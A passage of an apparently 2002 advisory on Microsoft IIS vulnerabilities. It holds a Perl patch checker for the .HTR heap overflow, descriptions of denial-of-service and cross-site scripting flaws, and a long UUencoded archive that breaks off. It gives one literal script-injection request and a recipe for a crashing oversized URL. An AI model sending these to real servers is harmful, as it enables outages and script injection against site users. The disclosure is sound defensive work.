	[http://filip.compsec.be] (added 25 April 2002) :
	
	#!/usr/bin/perl
	########################################################################
	# (c) Filip Maertens/CISSP, .HTR Heap Overflow checker.
	# 
	# DISCLAIMER: This tool is only to be used for legitimate purposes only.
	# This is considered as an intrusive, so  please adhere to the laws  and
	# regulations applicable in your country.  Oh, and honey, there is pizza
	# in the fridge...  
	#
	# CREDITS: @stake/KPMG for the advisory
	#          Thor Larholm for the patch identification remark
	#
	########################################################################
	use Socket;
	print "iischeck.pl | Microsoft .HTR Heap Overflow Checker | <filip\@securax.be>\n-----------------------------------------------------------------------\n";
	$host= @ARGV[ 0 ];
	$method= @ARGV[ 2 ];
	my $target = inet_aton($host);
	$port = 80;
	$requestmethod[0] = "GET";
	$requestmethod[1] = "HEAD";
	$requestmethod[2] = "POST";
	# Initializing strings & vars
	$patchedstring    = "InsertElementAnchor";
	$nonpatchedstring = "document.write";
	$bogusurl         = "/xxxiischeckxxx";
	# Main loop of rotten code
	if ($host ne "") {
	  print " -- Checking hostname: $host\n";
	  $rawrequest = "$requestmethod[$method] $bogusurl HTTP/1.1\nClient-Agent:iischeck.pl\nHost:$host\r\n\r\n";    
	  @results = sendrequestandgetanswer($rawrequest);
	  $criticalline = $results[49];   # 49, since HTTP headers are included
	  if ($results[2] =~ "IIS") {
	    SWITCH: {
	                if ($criticalline =~ $nonpatchedstring) { $patched = " -- Status: System vulnerable."; last SWITCH; }
	                if ($criticalline =~ $patchedstring) { $patched = " -- Status: System MS02-18 patched."; last SWITCH; }
	                $patched = " -- Status: Cannot identify patch level";
	            }  
	  print "$patched\n\n";
	  } else {
	    print " -- Error: System is not a Windows/IIS host.\n\n";
	  }
	} else {
	  showusage();
	}
	exit(0);
	#######: Functions used by iischeck.pl :#######
	sub showusage
	    {
	     print "Usage: iischeck [hostname] -method [method]\n";
	    }
	sub sendrequestandgetanswer
		{
	 	my ($rawrequest)= @_;
		@lines = sendrawandgetanswer ($rawrequest);
		return @lines;
		}
	sub sendrawandgetanswer 
		{
	 	my ($pstr)=@_;
	 	socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp') || 0) || die(" -- Error in creating socket\n");
	 	if (connect(S,pack "SnA4x8",2,$port,$target))
			{
	  		my @in="";
	  		select(S); 
			$|=1; 
			print $pstr;
			while(<S>) 
				{
				push @in,$_; 
				last if ($line=~ /^[\r\n]+$/ );
				}
	  		select(STDOUT); 
			return @in;
	 		} 
		else 
			{ 
			die(" -- Error connecting to: $host\n"); 
			}
		}
	sub sendraw
		{
	 	my ($pstr)=@_;
	 	socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp') || 0) || die("Socket problems\n");
	 	if (connect(S,pack "SnA4x8",2,$port,$target))
			{
	  		my @in="";
	  		select(S); 
			$|=1; 
			print $pstr;
	 		} 
		else 
			{ 
			die("connect problems\n"); 
			}
		}
	
	 Problem n°6
	 ===========
	
	 Access violation in URL error handling
	
	A denial of service vulnerability involving the way IIS  4.0,  5.0,  and
	5.1 handle an error condition from ISAPI filters.  At  least  one  ISAPI
	filter  (which  ships  as  part  of  FrontPage  Server  Extensions   and
	ASP.NET), and possibly others, generate  an  error  when  a  request  is
	received containing an URL that exceeds the maximum length  set  by  the
	filter. In processing this error, the filter replaces  the  URL  with  a
	null value. A flaw results because IIS attempts to process  the  URL  in
	the  course  of  sending  the  error  message  back  to  the  requester,
	resulting in an access violation that causes the IIS service to fail.
	Peter Gründl of KPMG Danemark added :
	Frontpage contains URL parsers for  dynamic  components  (shtml.exe/dll)
	If a malicious user issues a request for /_vti_bin/shtml.exe  where  the
	URL for the dynamic contents is replaced with a long URL, the  submodule
	will filter out the URL, and return a null value to the web service  URL
	parser. An example string would be 35K of ascii 300. This will cause  an
	access violation and Inetinfo.exe will be shut down. Due to  the  nature
	of the crash, we do not feel that it is exploitable beyond the point  of
	a Denial of Service.
	See report by @Stake [http://www.atstake.com] in file provided below.
	 Problem n°7
	 ===========
	
	 Denial of service via FTP Status request
	
	A denial of service vulnerability involving the way the FTP  service  in
	IIS 4.0, 5.0 and 5.1 handles a request for the  status  of  the  current
	FTP session. If an attacker were able to establish an FTP  session  with
	an  affected  server,  and  levied  a  status  request  that  created  a
	particular error condition, a flaw in the  FTP  code  would  prevent  it
	from correctly reporting the error. Other code within  the  FTP  service
	would then attempt to use uninitialized data, with an  access  violation
	as the result. This would result in  the  disruption  of  not  only  FTP
	services, but also of web services.
	 Problem n°8,9,10
	 ================
	
	 Cross-site Scripting in IIS Help File search facility, HTTP Error Page, and Redirect Response message
	
	A trio of Cross-Site Scripting (CSS) vulnerabilities affecting IIS  4.0,
	5.0 and 5.1:  one  involving  the  results  page  that’s  returned  when
	searching the IIS Help Files, one involving HTTP error  pages;  and  one
	involving the error message that’s returned to advise that  a  requested
	URL has been redirected. All of  these  vulnerabilities  have  the  same
	scope and effect: an attacker who was able to lure a user into  clicking
	a link on his web site could relay a  request  containing  script  to  a
	third-party web  site  running  IIS,  thereby  causing  the  third-party
	site’s response (still including the script) to be  sent  to  the  user.
	The script  would  then  render  using  the  security  settings  of  the
	third-party site rather than the attacker’s.
	See report by Joe Smith and zenomorph  [http://www.cgisecurity.com]  for
	Help File search CSS in file provided below.
	Credit   goes   to   Keigo   Yamazaki    of    the    LAC    SNS    Team
	[http://www.lac.co.jp/security/] for redirect response message CSS :
	
	  When a request is submitted to IIS, it returns a "302 Object Moved" 
	  error message to the client without changing the metacharacters 
	  contained in the request.  This occurs when the request contains the 
	  following URI:  
	  GET /existing directory name?"><script>alert("aaa"); </script>
	
	See report by Thor Larholm of Jubii A/S [http://www.jubii.dk/] for  HTTP
	Error page CSS in file provided below.
	UUEncoded file
	
	begin 644 reports.zip
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
	[email protected]\=!Z:3&Y+4U4P&54COX3IUJ%-!'SH=TE_J%4R-<=-RH2RI"-+W
	MH#HZBE[7>[@9`];:RI=.V[TX":YG6>R$R<^')N\B"HJRC7!YI%KU#()=G\R"
	M`(F=BH38/".=H6A[<.;`(7G&J];*H!DYM3#[%,D!R^``))6P=J-IL`Y!5V9.
	M@78*@9*U:T^X6^=[%5%72;`A)Q84CP."P:CU:DP@F-"-FD.D"8P`$N(%M(9N
	MZ>C&QY?DYDVV$8Z6"TFM=1)>XFHKYIYR12DG0*UF@/U)]Z#.UR_^50<54D76
	MRK"/WS:N'GLX+!K7HRV?_%S`\;9%PI6[0Y(#[email protected]]FY$5?F=TA]%8]@K-
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
	MC=5YG+A2-]VHX4XA/<$V8Y/@F36M*%T\7E!H@YJBE&T!,OED+A	**SULI-
	M8A7/;!I%O#":KMU@74UEAV$8`7@-I8<"PB3T96G0,`D<(JU7QGE29U&5A3TV
	MV;E$ZEVZLE"3T,;PB@RR<'Z7E%8U5-(N&*(R-:%HF7'%0AQI><]HU'&JNODX
	M4FH.+&"7K`5).]$V/%&XA$?3LG;5RN1(_709ME$5N50P96SJ2[FFHJ]?Z6"F
	M%*QA09%<EQPAHC(A8&P99PQNU@9;/ADLNAV7-YSZL]1&%J1V8'52*FLR#;=V
	MY1(92:4ZBC!4`"%B([[email protected];!QN6CX%N2=2F$%J1G:0)"KTV'=6E*,0K<*,
	MHX#!DT<P2`ND<S;:/`-\J7)^PYH";V&,(K-(U@96"RE7MAS7S@NJJ$J8$99-
	M,ZZ$65*8EC+FW"[_U`,)X"(>[WFX3O>HVEH@N4M4@0MR1ET0H[GZKS+.C?_!
	M'4UD=*4NWZ6Z"C?G<6%\JE'8.:/4S61>K]E'Y"O`/39,5-J949RX8+OE;!%S
	M$8'D++\J0@[[K]A4"B$\*>5B]2DA/9NOH%($'_H,U\-"H2;B7(Z099G]05UW
	M`,)U9A,4U^GW,H])CF['971,ZV/3Q$-,;5,5MXKC.<RU5;)&1@W0"+NVJ9C,
	MPE5<-O=#A1!E$&"$[%[J#\L#HFU5[=!]J)ZW5TOL4,&K=MF.!+.NL$F!TP6'
	M?-(-^3'G=LK7F=WHFMU!8_O$,=Y`60NDR4>=F!"!=R_L0PEOEINL1$^QP1;N
	MM.IV#H_URAL\F"N54E7B;ILS1*T9X=T`!Q&3]"]BK,#AAB>;;59S/N5^W@M!
	M.2*,=4`XF`1"PY=2%PBCR'!J):G.L/O!O.3B-E2%,F'5[5+#C'R05$%W!)>Q
	MQ'3M%,QUW[0,4!$IXJA=8?YJ5V-3K7=>&/B2O]LMIS"67=,>](?],?-MS)7T
	MJ/FNK;(?8]HW>::-\ZH-T&S-`#%V*`;AKS;@(!B8H)VJ%>U"M:U=:XXH5*@$
	MAE3F[)EQH1U@'-<KS8"/#+L]F2-Q9F#[/M:PEGE1+-_L[6&7U'?[J;V*."'T
	M!^I?('>-;%+J5ON$E)R;+@[Y*<-`LLU*1&NPS3#QQA;3&NLL'`5>K*`-D"KV
	MW/0]-WWO_;4_W/4'4_(3XN0=D(H+T#JQP*W?B"N@M!9GR#**<L5I,_%=H:J0
	M.59OCV*VKM;(.!]5OE!S(OU;KFC).Q(0*+F-^E)E'(OF)D?'J4F"[&F<')W(
	MV`B5<+.U01:9C'.M:8+@9IK=2V[HY)8EBM2HGVQ"S95Q*5*_QZNQ1GD9PPJ9
	M_$+>Q4&[+_`.VXP\OIL78CO8$8/#P^DN==",'9W$=T`B,:8")K&GA;PF!U`^
	MHC@$N[O#5IC,/K+;(`(9HL2STNV3"E,FJ;Q`_$A@5WF6FF(:L;L@4N2DD`4N
	M1!HR#H_*!U9NFBM(Q523<%T!(&D7!L*@!CY!(Q+KK,1`/3=M)Q1LJ<F,P`+X
	MFSH*II07;7[L.G52"N-R0?`G96B*+L>MO>>)I>DZJMV%C!-#Y6=F@UJ<$>U%
	MEQ5*C#$96R)1PE;;U+K%5V5AV@#));$@J44ETSM5"9[RUK0O?M=5T*5V4$V%
	M$"GBPFRJN<TA*4"30BB?L(SB^!HYOMG9N:E3\H=+()V3'F.7]'-U)W-;Y%,3
	MJUZ.\VV*)'U/6M!S9^NR!+LYEUM);*H-BWLH%Z::0&75FL6QLTE')&LFH
	M=T3,I3:`FWT=D>6M#G9N4#[J+*>]%C_'6*.LP6DA3)JV=1"&Y#^@+EVE`JM_
	M9>7\JE0X0X$*VS9ZA6F%KA-'><L3Y3*D7I4I'J'D!<?U(N/6Q#..T@R*IZ[)
	M1&S]7'_M=H[^GU^F5W)=+A8RI\YW\WJ[`VCK'8IEO(T@]X&JM8RH7<N=N345
	MPRB0.)-6SCU3-'R1$39PTXT\]6N6FP#6MD]DNK)XJEC0BH8^E4'FQ2+98W_?
	M^WA%(<D?#?P^745N4O=<ZR(UY?",1+WIK5Y\AK#Q\*#7?Q(.+`L;Y1Q,3P..
	M/UQ?B)O3=V<?+B\N?_N'>'?9]RYN3OI8MA+SL9#<4<@62S+[1])A>YG*5"<D
	MH>UU<K;94-7N$Z]WO]^(L].KT]UOO+H=:F^V6J^VW+-KT=:Y$L\9K+A!R4"H
	M<!Y)VZW;=^":MM=_F.+!8US'?5]XIK;B_D^(V9]0&5`G].8,`SY>7?YV=?Q>
	M?#J_N!"7'R[^`2RO;S"JQI;R=I9D=VN'[;-@=3M?U5_QS^U+K_<(K/^(4PK6
	M2O1T$<KHH3_O-2[^B(MQUI__M'$MB6>/+N:TEVA?M&9EKBYS>;>0+@*(;=#P
	M>I_T\,O^T#S*HIR#I)!NTP>9WP4>1?+\-7V^__,SQORSV]F*HVVZ)[X[$B-<
	MVJ)K6YRPHNW>*P2O)5)T3OO>)97V@'=^F]ZF/8^H=#M_^I]WWC:G;,5(#9@W
	M&$[Z/OX-8'-3O]T&=]/KR66A,15E'K+WPM2/CR#NT5@:G2ML]E/AT]1_\:63
	M3Y=7)T+G`77=COP'?Z"&T6P0[([>[NWAJS\:3T:3T=LMFKZW5[4$4'>>G5Y<
	MO+L\.:VH=#M_P5\PXLA-/#14)A,UBWS[!2L<1($*\*5W^S`(;A^BV>V#.NAV
	M;G&OA\MTW:^NFZO,K%%""-L^_WC$,`P^OVU=_Q5`FSO[?(<4N%(STL.1++)X
	MF^\-#7AF&C@^PH)!T'SWA.A1MY]^@X&A>S.30[I*3P)Z;[>V")7!@7NF!*J?
	MKH^I[;:UTK3&]>6[OY_>;/'G)$.$`GS84AVQ"F!!&'U-RBV7VP2-/_"^7^D=
